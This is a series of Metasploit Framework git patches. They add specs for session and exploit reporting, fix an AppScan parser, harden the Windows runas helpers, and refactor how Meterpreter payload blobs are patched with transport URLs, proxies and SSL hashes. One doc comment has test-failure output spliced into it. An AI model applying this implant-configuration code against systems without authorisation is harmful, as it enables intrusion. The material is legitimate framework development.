is_expected.to respond_to :report_exploit_attempt } it { is_expected.to respond_to :report_exploit_failure } it { is_expected.to respond_to :report_exploit_success } -end \ No newline at end of file + + describe '#report_exploit_success' do + + let(:workspace) do + FactoryGirl.create(:mdm_workspace) + end + + let(:host) do + FactoryGirl.create(:mdm_host, workspace: workspace) + end + + let(:refs) do + [ FactoryGirl.create(:mdm_ref) ] + end + + let(:vuln) do + FactoryGirl.create(:mdm_vuln) + end + + let(:opts) do + { + workspace: workspace, + refs: refs, + host: host, + vuln: vuln, + } + end + + specify do + expect{ subject.report_exploit_success(opts) }.to change{ Mdm::VulnAttempt.count }.by(1) + end + + end +end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 9f2cefa84d..ba28e52925 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -39,13 +39,15 @@ shared_examples_for 'Msf::DBManager::Session' do let(:module_instance) do name = 'multi/handler' - double( - 'Msf::Module', - :user_data => nil, + d = double( + 'Msf::Exploit', + :user_data => user_data, :fullname => "exploit/#{name}", :framework => framework, :name => name ) + allow(d).to receive(:user_data_is_match?).and_return(false) + d end let(:options_workspace) do @@ -120,7 +122,26 @@ shared_examples_for 'Msf::DBManager::Session' do ) end + context 'with a match in user_data' do + let(:user_data) do + { + match: FactoryGirl.create(:automatic_exploitation_match), + match_set: FactoryGirl.create(:automatic_exploitation_match_set), + run: FactoryGirl.create(:automatic_exploitation_run), + } + end + + before do + allow(module_instance).to receive(:user_data_is_match?).and_return(true) + end + + it 'should make a MatchResult' do + expect { report_session }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult, :count).by(1) + end + end + context 'without user_data' do + let(:user_data) { nil } context 'with :workspace' do before(:each) do From 3269817b290355f780f48d2be836412cc46142ce Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 18 Mar 2015 10:52:24 -0500 Subject: [PATCH 035/279] remove bad truthiness checks truthy checks were used here, but you'll get an empty hash which will be treated as true causing the test to be invalid and allowing for errors further in the method MSP-9972 --- lib/rex/parser/appscan_nokogiri.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/parser/appscan_nokogiri.rb b/lib/rex/parser/appscan_nokogiri.rb index f09781cbdc..9b2a82720d 100644 --- a/lib/rex/parser/appscan_nokogiri.rb +++ b/lib/rex/parser/appscan_nokogiri.rb @@ -141,9 +141,9 @@ module Rex def report_web_page(&block) return unless(in_issue && has_text) - return unless @state[:web_site] - return unless @state[:response_headers] - return unless @state[:uri] + return unless @state[:web_site].present? + return unless @state[:response_headers].present? + return unless @state[:uri].present? web_page_info = {} web_page_info[:web_site] = @state[:web_site] web_page_info[:path] = @state[:uri].path From dacaa9e82b3e0f2d4a200e062331c455c0a639e1 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 18 Mar 2015 11:19:00 -0500 Subject: [PATCH 036/279] simplify request-response parsing in apsscan the record_request_and_response method for the nokogiri appscan parser was way overcomplicated it was trying to do way too much trickiness when the data could be very simply split and consumed MSP-9972 --- lib/rex/parser/appscan_nokogiri.rb | 27 +++++++-------------------- 1 file changed, 7 insertions(+), 20 deletions(-) diff --git a/lib/rex/parser/appscan_nokogiri.rb b/lib/rex/parser/appscan_nokogiri.rb index 9b2a82720d..bbe24edf74 100644 --- a/lib/rex/parser/appscan_nokogiri.rb +++ b/lib/rex/parser/appscan_nokogiri.rb @@ -187,31 +187,18 @@ module Rex def record_request_and_response return unless(in_issue && has_text) - return unless @state[:web_site] + return unless @state[:web_site].present? really_original_traffic = unindent_and_crlf(@text) - split_traffic = really_original_traffic.split(/\r\n\r\n/) - request_headers_text = split_traffic.first - content_length = 0 - if request_headers_text =~ /\ncontent-length:\s+([0-9]+)/mni - content_length = $1.to_i - end - if(content_length > 0) and (split_traffic[1].to_s.size >= content_length) - request_body_text = split_traffic[1].to_s[0,content_length] - else - request_body_text = nil - end - response_headers_text = split_traffic[1].to_s[content_length,split_traffic[1].to_s.size].lstrip - request = request_headers_text - return unless(request && response_headers_text) - response_body_text = split_traffic[2] + request_headers, request_body, response_headers, response_body = really_original_traffic.split(/\r\n\r\n/) + return unless(request_headers && response_headers) req_header = Rex::Proto::Http::Packet::Header.new res_header = Rex::Proto::Http::Packet::Header.new - req_header.from_s request_headers_text.dup - res_header.from_s response_headers_text.dup + req_header.from_s request_headers.dup + res_header.from_s response_headers.dup @state[:request_headers] = req_header - @state[:request_body] = request_body_text + @state[:request_body] = request_body @state[:response_headers] = res_header - @state[:response_body] = response_body_text + @state[:response_body] = response_body end # Appscan tab-indents which makes parsing a little difficult. They From 4293af01b1095c38a39a8186ab50f8b44dbcc839 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 18 Mar 2015 11:23:45 -0500 Subject: [PATCH 037/279] make sure we strip leading whitespace in the aforementiond record_request_and_response method we need to still make sure to strip leading whitespace from the front of our data before saving it MSP-9972 --- lib/rex/parser/appscan_nokogiri.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/rex/parser/appscan_nokogiri.rb b/lib/rex/parser/appscan_nokogiri.rb index bbe24edf74..8f523bae29 100644 --- a/lib/rex/parser/appscan_nokogiri.rb +++ b/lib/rex/parser/appscan_nokogiri.rb @@ -193,12 +193,12 @@ module Rex return unless(request_headers && response_headers) req_header = Rex::Proto::Http::Packet::Header.new res_header = Rex::Proto::Http::Packet::Header.new - req_header.from_s request_headers.dup - res_header.from_s response_headers.dup + req_header.from_s request_headers.lstrip + res_header.from_s response_headers.lstrip @state[:request_headers] = req_header - @state[:request_body] = request_body + @state[:request_body] = request_body.lstrip @state[:response_headers] = res_header - @state[:response_body] = response_body + @state[:response_body] = response_body.lstrip end # Appscan tab-indents which makes parsing a little difficult. They From 975ddc90924b7028b7c69d39a82c1804527ed371 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 18 Mar 2015 23:43:46 +0000 Subject: [PATCH 038/279] Add some spec mockery --- lib/msf/core/post/windows/runas.rb | 20 +- spec/lib/msf/core/post/windows/runas_spec.rb | 207 +++++++++++++++++++ 2 files changed, 222 insertions(+), 5 deletions(-) create mode 100644 spec/lib/msf/core/post/windows/runas_spec.rb diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb index de572ee446..4346e9e65d 100644 --- a/lib/msf/core/post/windows/runas.rb +++ b/lib/msf/core/post/windows/runas.rb @@ -42,7 +42,7 @@ module Msf::Post::Windows::Runas end # - # Create a STARTUP_INFO struct for use with CreateProcessa + # Create a STARTUP_INFO struct for use with CreateProcessA # # This struct will cause the process to be hidden # @@ -192,6 +192,9 @@ module Msf::Post::Windows::Runas # @return [Hash] The values from the process_information struct # def parse_process_information(process_information) + fail ArgumentError, 'process_information is nil' if process_information.nil? + fail ArgumentError, 'process_information is empty string' if process_information.empty? + pi = process_information.unpack('LLLL') { :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] } end @@ -208,6 +211,8 @@ module Msf::Post::Windows::Runas # @return [True] True if username is in the correct format # def check_user_format(username, domain) + fail ArgumentError, 'username is nil' if username.nil? + if domain && username.include?('@') raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil' end @@ -230,12 +235,17 @@ module Msf::Post::Windows::Runas # @return [True] True if the command_line is within the correct bounds # def check_command_length(application_name, command_line, max_length) + fail ArgumentError, 'max_length is nil' if max_length.nil? + if application_name.nil? && command_line.nil? raise ArgumentError, 'Both application_name and command_line are nil' - elsif application_name.nil? && command_line && command_line.length > MAX_PATH - raise ArgumentError, "When application_name is nil the command line must be less than MAX_PATH #{MAX_PATH} characters (Currently #{command_line.length})" - elsif application_name && command_line && command_line.length > max_length - raise ArgumentError, "When application_name is set, command line must be less than #{max_length} characters (Currently #{command_line.length})" + elsif command_line && command_line.length > max_length + raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})" + elsif application_name.nil? && command_line + cl = command_line.split(' ') + if cl[0] && cl[0].length > MAX_PATH + raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})" + end end true diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb new file mode 100644 index 0000000000..1106fecade --- /dev/null +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -0,0 +1,207 @@ +# -*- coding: binary -*- +require 'spec_helper' + +require 'msf/core/post/windows/runas' + +describe Msf::Post::Windows::Runas do + let(:process_info) do + "\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00" + end + + let(:phToken) do + "testPhToken" + end + + let(:advapi32) do + advapi32 = double('advapi32') + advapi32.stub(:CreateProcessWithLogonW).and_return( + 'return' => true, + 'lpProcessInformation' => process_info + ) + advapi32.stub(:CreateProcessAsUserA).and_return ({ + 'return' => true, + 'lpProcessInformation' => process_info + }) + advapi32.stub(:LogonUserA).and_return ({ + 'return' => true, + 'phToken' => phToken + }) + advapi32 + end + + let(:kernel32) do + double('kernel32', CloseHandle: nil) + end + + subject do + mod = Module.new + mod.extend described_class + stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ] + stubs.each { |meth| mod.stub(meth) } + mod.stub_chain("session.railgun.kernel32").and_return(kernel32) + mod.stub_chain("session.railgun.advapi32").and_return(advapi32) + mod + end + + context "#create_process_with_logon" do + it "should return a process_info hash" do + expect(advapi32).to receive(:CreateProcessWithLogonW) + expect(kernel32).not_to receive(:CloseHandle) + pi = subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe') + pi.should be_kind_of(Hash) + pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) + end + + it "should return a nil on failure" do + expect(advapi32).to receive(:CreateProcessWithLogonW) + expect(kernel32).not_to receive(:CloseHandle) + advapi32.stub(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil + end + end + + context "#create_process_as_user" do + it "should return a process_info hash" do + expect(advapi32).to receive(:LogonUserA) + expect(advapi32).to receive(:CreateProcessAsUserA) + expect(kernel32).to receive(:CloseHandle).with(phToken) + expect(kernel32).to receive(:CloseHandle).with(1) + expect(kernel32).to receive(:CloseHandle).with(2) + pi = subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe') + pi.should be_kind_of(Hash) + pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) + end + + it "should return a nil on failure of create process" do + expect(advapi32).to receive(:LogonUserA) + expect(advapi32).to receive(:CreateProcessAsUserA) + expect(kernel32).to receive(:CloseHandle).with(phToken) + expect(kernel32).not_to receive(:CloseHandle).with(1) + expect(kernel32).not_to receive(:CloseHandle).with(2) + advapi32.stub(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil + end + + it "should return a nil on failure of logon user" do + expect(advapi32).to receive(:LogonUserA) + expect(advapi32).not_to receive(:CreateProcessAsUserA) + expect(kernel32).not_to receive(:CloseHandle).with(phToken) + expect(kernel32).not_to receive(:CloseHandle).with(1) + expect(kernel32).not_to receive(:CloseHandle).with(2) + advapi32.stub(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil + end + end + + context "#startup_info" do + it "should be 68 bytes" do + subject.startup_info.size.should eq(68) + end + + it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do + si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV') + si[11].should eq(1) + si[12].should eq(0) + end + end + + context "#parse_process_information" do + it "should return a hash when given valid data" do + pi = subject.parse_process_information(process_info) + pi.should be_kind_of(Hash) + pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) + end + + it "should return an exception when given an empty string" do + expect { subject.parse_process_information("") }.to raise_error + end + + it "should return an exception when given an nil value" do + expect { subject.parse_process_information(nil) }.to raise_error + end + end + + context "#check_user_format" do + let(:upn_username) do + "bob@flob.com" + end + let(:domain_username) do + "flob\\bob" + end + let(:domain) do + "flob" + end + + it "should return an exception when username is nil" do + expect { subject.check_user_format(nil, domain) }.to raise_error + end + + it "should return an exception when UPN format and domain supplied" do + expect { subject.check_user_format(upn_username, domain) }.to raise_error + end + + it "should return true when UPN format and domain is nil" do + subject.check_user_format(upn_username, nil).should be true + end + + it "should return true when domain format and domain is nil" do + subject.check_user_format(domain_username, nil).should be true + end + + it "should return true when domain format and domain supplied" do + subject.check_user_format(domain_username, domain).should be true + end + end + + context "#check_command_length" do + let(:max_length) do + 1024 + end + let(:max_path) do + 256 + end + let(:large_command_module) do + ("A" * max_path + 1) + " arg1 arg2" + end + let(:normal_command_module) do + ("A" * max_path) + " arg1 arg2" + end + let(:large_command_line) do + "A" * max_length + 1 + end + let(:normal_command_line) do + "A" * max_length + end + let(:application_name) do + "c:\\windows\\system32\\calc.exe" + end + + it "should raise an exception when max_length is nil" do + expect { subject.check_command_length(nil, nil, nil) }.to raise_error + end + + it "should raise an exception when application_name and command_line are nil" do + expect { subject.check_command_length(nil, nil, max_length) }.to raise_error + end + + it "should return true when application_name is set and command_line is nil" do + subject.check_command_length(application_name, nil, max_length).should be true + end + + it "should return true when application_name is set and command_line is max_length" do + subject.check_command_length(application_name, normal_command_line, max_length).should be true + end + + it "should raise an exception when command_line is larger than max_length" do + expect { subject.check_command_length(nil, large_command_line, max_length) }.to raise_error + end + + it "should raise an exception when application_name is nil command_line module is larger than MAX_PATH" do + expect { subject.check_command_length(nil, large_command_module, max_length) }.to raise_error + end + + it "should return true when application_name is nil and command_module is less than MAX_PATH" do + subject.check_command_length(nil, normal_command_module, max_length).should be true + end + end +end From 2dd9dcb26c146505aaeb23711ce060ab93845fad Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 18 Mar 2015 23:48:39 +0000 Subject: [PATCH 039/279] Dont use native unpack operators! --- lib/msf/core/post/windows/runas.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb index 4346e9e65d..065286be57 100644 --- a/lib/msf/core/post/windows/runas.rb +++ b/lib/msf/core/post/windows/runas.rb @@ -126,7 +126,10 @@ module Msf::Post::Windows::Runas # @param domain [String] The target user domain # @param user [String] The target user # @param password [String] The target user password - # @param application_name [String] The executable to be run, can be + # @param application_name [String] Thn executableived :CloseHandle + # with unexpected arguments + # expected: ("testPhToken") + # got: (n be run, can be # nil # @param command_line [String] The command line or process arguments # @@ -195,7 +198,7 @@ module Msf::Post::Windows::Runas fail ArgumentError, 'process_information is nil' if process_information.nil? fail ArgumentError, 'process_information is empty string' if process_information.empty? - pi = process_information.unpack('LLLL') + pi = process_information.unpack('VVVV') { :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] } end From 6ceab3d02dbbaa815cbc73da914e3487bc14735d Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 18 Mar 2015 23:51:18 +0000 Subject: [PATCH 040/279] Add a DisclosureDate --- modules/exploits/windows/local/run_as.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/run_as.rb b/modules/exploits/windows/local/run_as.rb index 63092283fc..e0eea52220 100644 --- a/modules/exploits/windows/local/run_as.rb +++ b/modules/exploits/windows/local/run_as.rb @@ -34,7 +34,8 @@ class Metasploit3 < Msf::Exploit::Local 'References' => [ [ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ] - ] + ], + 'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy )) register_options( From a5d589ef559642a47c555d147d139825fa540069 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 19 Mar 2015 00:05:02 +0000 Subject: [PATCH 041/279] Railgun calls should return a hash --- spec/lib/msf/core/post/windows/runas_spec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 1106fecade..4832a252a6 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -14,10 +14,10 @@ describe Msf::Post::Windows::Runas do let(:advapi32) do advapi32 = double('advapi32') - advapi32.stub(:CreateProcessWithLogonW).and_return( + advapi32.stub(:CreateProcessWithLogonW).and_return({ 'return' => true, 'lpProcessInformation' => process_info - ) + }) advapi32.stub(:CreateProcessAsUserA).and_return ({ 'return' => true, 'lpProcessInformation' => process_info @@ -33,7 +33,7 @@ describe Msf::Post::Windows::Runas do double('kernel32', CloseHandle: nil) end - subject do + let(:subject) do mod = Module.new mod.extend described_class stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ] From acd802c5fd271dcf17bfe36e4070e776ce9cb9c7 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 16 Mar 2015 21:53:11 +1000 Subject: [PATCH 042/279] Initial work for WinHTTP comms support in Meterpreter --- lib/rex/payloads/meterpreter/patch.rb | 56 ++++++++++--------- lib/rex/post/meterpreter/packet_dispatcher.rb | 1 - 2 files changed, 31 insertions(+), 26 deletions(-) diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 93c54873bf..8cf4824c96 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -13,9 +13,9 @@ module Rex # Replace the transport string def self.patch_transport! blob, ssl - i = blob.index("METERPRETER_TRANSPORT_SSL") + i = blob.index(wchar("METERPRETER_TRANSPORT_SSL")) if i - str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" + str = wchar(ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00") blob[i, str.length] = str end @@ -24,9 +24,9 @@ module Rex # Replace the URL def self.patch_url! blob, url - i = blob.index("https://" + ("X" * 256)) + i = blob.index(wchar("https://" + ("X" * 256))) if i - str = url + str = wchar(url) blob[i, str.length] = str end @@ -57,9 +57,9 @@ module Rex # Replace the user agent string with our option def self.patch_ua! blob, ua - ua = ua[0,255] + "\x00" - i = blob.index("METERPRETER_UA\x00") + i = blob.index(wchar("METERPRETER_UA\x00")) if i + ua = wchar(ua[0,255] + "\x00") blob[i, ua.length] = ua end @@ -68,24 +68,23 @@ module Rex # Activate a custom proxy def self.patch_proxy! blob, proxyhost, proxyport, proxy_type - i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") - if i - if proxyhost - if proxyhost.to_s != "" - proxyhost = proxyhost.to_s - proxyport = proxyport.to_s || "8080" - proxyinfo = proxyhost + ":" + proxyport - if proxyport == "80" - proxyinfo = proxyhost - end - if proxy_type.to_s == 'HTTP' - proxyinfo = 'http://' + proxyinfo - else #socks - proxyinfo = 'socks=' + proxyinfo - end - proxyinfo << "\x00" - blob[i, proxyinfo.length] = proxyinfo + if proxyhost && proxyhost.to_s != "" + i = blob.index(wchar("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")) + if i + proxyhost = proxyhost.to_s + proxyport = proxyport.to_s || "8080" + proxyinfo = proxyhost + ":" + proxyport + if proxyport == "80" + proxyinfo = proxyhost end + if proxy_type.to_s == 'HTTP' + proxyinfo = 'http://' + proxyinfo + else #socks + proxyinfo = 'socks=' + proxyinfo + end + proxyinfo << "\x00" + proxyinfo = wchar(proxyinfo) + blob[i, proxyinfo.length] = proxyinfo end end @@ -98,12 +97,14 @@ module Rex (proxy_password.nil? or proxy_password.empty?) or proxy_type == 'SOCKS' - proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") + proxy_username_loc = blob.index(wchar("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")) proxy_username = proxy_username << "\x00" + proxy_username = wchar(proxy_username) blob[proxy_username_loc, proxy_username.length] = proxy_username - proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") + proxy_password_loc = blob.index(wchar("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")) proxy_password = proxy_password << "\x00" + proxy_password = wchar(proxy_password) blob[proxy_password_loc, proxy_password.length] = proxy_password end @@ -130,6 +131,11 @@ module Rex end + private + + def self.wchar(str) + str.to_s.unpack("C*").pack("v*") + end end end end diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 965e7af2e4..d78830c43d 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -178,7 +178,6 @@ module PacketDispatcher # Sends a packet and waits for a timeout for the given time interval. # def send_request(packet, t = self.response_timeout) - if not t send_packet(packet) return nil From a9f74383d00239c6ead2525edc9c94dff5d36951 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 17 Mar 2015 08:31:10 +1000 Subject: [PATCH 043/279] Update patch to support both ascii and wchar --- .../payload/windows/stageless_meterpreter.rb | 7 +- lib/rex/payloads/meterpreter/patch.rb | 101 ++++++++---------- 2 files changed, 49 insertions(+), 59 deletions(-) diff --git a/lib/msf/core/payload/windows/stageless_meterpreter.rb b/lib/msf/core/payload/windows/stageless_meterpreter.rb index b9ddaf0dfd..cc02bdd6cf 100644 --- a/lib/msf/core/payload/windows/stageless_meterpreter.rb +++ b/lib/msf/core/payload/windows/stageless_meterpreter.rb @@ -75,11 +75,8 @@ module Payload::Windows::StagelessMeterpreter # the URL might not be given, as it might be patched in some other way if url - url = "s#{url}\x00" - location = dll.index("https://#{'X' * 256}") - if location - dll[location, url.length] = url - end + # Patch the URL using the patcher as this upports both ASCII and WCHAR. + Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", url) end # if a block is given then call that with the meterpreter dll diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 8cf4824c96..37334fa70a 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -11,29 +11,18 @@ module Rex module Patch # Replace the transport string - def self.patch_transport! blob, ssl - - i = blob.index(wchar("METERPRETER_TRANSPORT_SSL")) - if i - str = wchar(ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00") - blob[i, str.length] = str - end - + def self.patch_transport!(blob, ssl) + str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" + patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str) end # Replace the URL - def self.patch_url! blob, url - - i = blob.index(wchar("https://" + ("X" * 256))) - if i - str = wchar(url) - blob[i, str.length] = str - end - + def self.patch_url!(blob, url) + patch_string!(blob, "https://#{"X" * 256}", url) end # Replace the session expiration timeout - def self.patch_expiration! blob, expiration + def self.patch_expiration!(blob, expiration) i = blob.index([0xb64be661].pack("V")) if i @@ -44,7 +33,7 @@ module Rex end # Replace the session communication timeout - def self.patch_comm_timeout! blob, comm_timeout + def self.patch_comm_timeout!(blob, comm_timeout) i = blob.index([0xaf79257f].pack("V")) if i @@ -55,63 +44,48 @@ module Rex end # Replace the user agent string with our option - def self.patch_ua! blob, ua - - i = blob.index(wchar("METERPRETER_UA\x00")) - if i - ua = wchar(ua[0,255] + "\x00") - blob[i, ua.length] = ua - end - + def self.patch_ua!(blob, ua) + patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00") end # Activate a custom proxy - def self.patch_proxy! blob, proxyhost, proxyport, proxy_type + def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type) if proxyhost && proxyhost.to_s != "" - i = blob.index(wchar("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")) - if i - proxyhost = proxyhost.to_s - proxyport = proxyport.to_s || "8080" - proxyinfo = proxyhost + ":" + proxyport - if proxyport == "80" - proxyinfo = proxyhost - end - if proxy_type.to_s == 'HTTP' - proxyinfo = 'http://' + proxyinfo - else #socks - proxyinfo = 'socks=' + proxyinfo - end - proxyinfo << "\x00" - proxyinfo = wchar(proxyinfo) - blob[i, proxyinfo.length] = proxyinfo + proxyhost = proxyhost.to_s + proxyport = proxyport.to_s || "8080" + proxyinfo = proxyhost + ":" + proxyport + if proxyport == "80" + proxyinfo = proxyhost end + if proxy_type.to_s == 'HTTP' + proxyinfo = 'http://' + proxyinfo + else #socks + proxyinfo = 'socks=' + proxyinfo + end + proxyinfo << "\x00" + patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo) end - end # Proxy authentification - def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type + def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type) unless (proxy_username.nil? or proxy_username.empty?) or (proxy_password.nil? or proxy_password.empty?) or proxy_type == 'SOCKS' - proxy_username_loc = blob.index(wchar("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")) - proxy_username = proxy_username << "\x00" - proxy_username = wchar(proxy_username) - blob[proxy_username_loc, proxy_username.length] = proxy_username + patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}", + proxy_username + "\x00") - proxy_password_loc = blob.index(wchar("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")) - proxy_password = proxy_password << "\x00" - proxy_password = wchar(proxy_password) - blob[proxy_password_loc, proxy_password.length] = proxy_password + patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}", + proxy_password + "\x00") end end # Patch options into metsrv for reverse HTTP payloads - def self.patch_passive_service! blob, options + def self.patch_passive_service!(blob, options) patch_transport! blob, options[:ssl] patch_url! blob, options[:url] @@ -131,8 +105,27 @@ module Rex end + # + # Patch an ASCII value in the given payload. If not found, try WCHAR instead. + # + def self.patch_string!(blob, search, replacement) + i = blob.index(search) + if i + blob[i, replacement.length] = replacement + else + i = blob.index(wchar(search)) + if i + r = wchar(replacement) + blob[i, r.length] = r + end + end + end + private + # + # Convert the given ASCII string into a WCHAR string (dumb, but works) + # def self.wchar(str) str.to_s.unpack("C*").pack("v*") end From d38e2c968e12bdfc7b707113153dda2b44bcadd5 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 17 Mar 2015 12:08:10 +1000 Subject: [PATCH 044/279] Add required include for stageless meterpreter --- lib/msf/core/payload/windows/stageless_meterpreter.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/payload/windows/stageless_meterpreter.rb b/lib/msf/core/payload/windows/stageless_meterpreter.rb index cc02bdd6cf..a75354e85e 100644 --- a/lib/msf/core/payload/windows/stageless_meterpreter.rb +++ b/lib/msf/core/payload/windows/stageless_meterpreter.rb @@ -1,6 +1,7 @@ #-*- coding: binary -*- require 'msf/core' +require 'rex/payloads/meterpreter/patch' module Msf From 7ca91b2eb5d564612105d9a02cc164e9651b8c50 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 17 Mar 2015 12:08:55 +1000 Subject: [PATCH 045/279] Add support for ssl to the patcher --- lib/rex/payloads/meterpreter/patch.rb | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 37334fa70a..216fa69e3e 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -84,6 +84,18 @@ module Rex end + # Patch the ssl cert hash + def self.patch_ssl_check!(blob, ssl_cert_hash) + # SSL cert location is an ASCII string, so no need for + # WCHAR support + if ssl_cert_hash + i = blob.index("METERPRETER_SSL_CERT_HASH\x00") + if i + blob[i, ssl_cert_hash.length] = ssl_cert_hash + end + end + end + # Patch options into metsrv for reverse HTTP payloads def self.patch_passive_service!(blob, options) @@ -92,6 +104,7 @@ module Rex patch_expiration! blob, options[:expiration] patch_comm_timeout! blob, options[:comm_timeout] patch_ua! blob, options[:ua] + patch_ssl_check! blob, options[:ssl_cert_hash] patch_proxy!(blob, options[:proxy_host], options[:proxy_port], From 7b4161bdb4aaef6c404bd4202944652207f0ca3a Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 17 Mar 2015 14:41:00 +1000 Subject: [PATCH 046/279] Update code to handle cert validation properly This code contains duplication from HD's PR. Once his has been landed this code can be fixed up a bit so that duplication is removed. --- lib/msf/core/handler/reverse_http.rb | 53 +++++++++++++++++ lib/msf/core/handler/reverse_https.rb | 3 +- .../payload/windows/stageless_meterpreter.rb | 2 +- .../windows/meterpreter_reverse_https.rb | 57 ++++++++++++++++++- 4 files changed, 112 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index f3f81594de..de4f6b770d 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -297,6 +297,7 @@ protected Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, :ssl => ssl?, 